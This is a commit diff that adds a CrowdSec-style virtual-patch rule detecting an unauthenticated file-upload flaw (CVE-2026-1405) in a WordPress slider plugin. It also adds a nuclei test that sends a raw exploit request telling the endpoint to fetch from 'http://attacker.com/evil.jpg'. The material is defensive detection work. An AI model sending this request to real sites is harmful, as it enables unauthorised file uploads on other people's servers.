Add vpatch-CVE-2026-1405 rule and test

.appsec-tests/vpatch-CVE-2026-1405/CVE-2026-1405.yaml

@@ -0,0 +1,21 @@
+## autogenerated on 2026-04-01 13:14:53
+id: CVE-2026-1405
+info:
+  name: CVE-2026-1405
+  author: crowdsec
+  severity: info
+  description: CVE-2026-1405 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        POST /wp-json/slider-future/v1/upload-image/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"image_url":"http://attacker.com/evil.jpg"}
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403

.appsec-tests/vpatch-CVE-2026-1405/config.yaml

@@ -0,0 +1,5 @@
+## autogenerated on 2026-04-01 13:14:53
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2026-1405.yaml
+nuclei_template: CVE-2026-1405.yaml

appsec-rules/crowdsecurity/vpatch-CVE-2026-1405.yaml

@@ -0,0 +1,34 @@
+## autogenerated on 2026-04-01 13:14:53
+name: crowdsecurity/vpatch-CVE-2026-1405
+description: 'Detects unauthenticated arbitrary file upload in WordPress Slider Future plugin <= 1.0.5 via /wp-json/slider-future/v1/upload-image/'
+rules:
+  - and:
+      - zones:
+          - URI
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: /wp-json/slider-future/v1/upload-image/
+      - zones:
+          - BODY_ARGS
+        variables:
+          - json.image_url
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: contains
+          value: http
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'WordPress Slider Future - File Upload'
+  classification:
+    - cve.CVE-2026-1405
+    - attack.T1190
+    - cwe.CWE-434

collections/crowdsecurity/appsec-virtual-patching.yaml

@@ -116,6 +116,7 @@ appsec-rules:
 - crowdsecurity/vpatch-CVE-2025-49113
 - crowdsecurity/appsec-generic-test
 - crowdsecurity/vpatch-CVE-2025-25257
+- crowdsecurity/vpatch-CVE-2026-1405
 - crowdsecurity/vpatch-CVE-2019-5418
 - crowdsecurity/vpatch-CVE-2025-52488
 - crowdsecurity/vpatch-CVE-2025-49132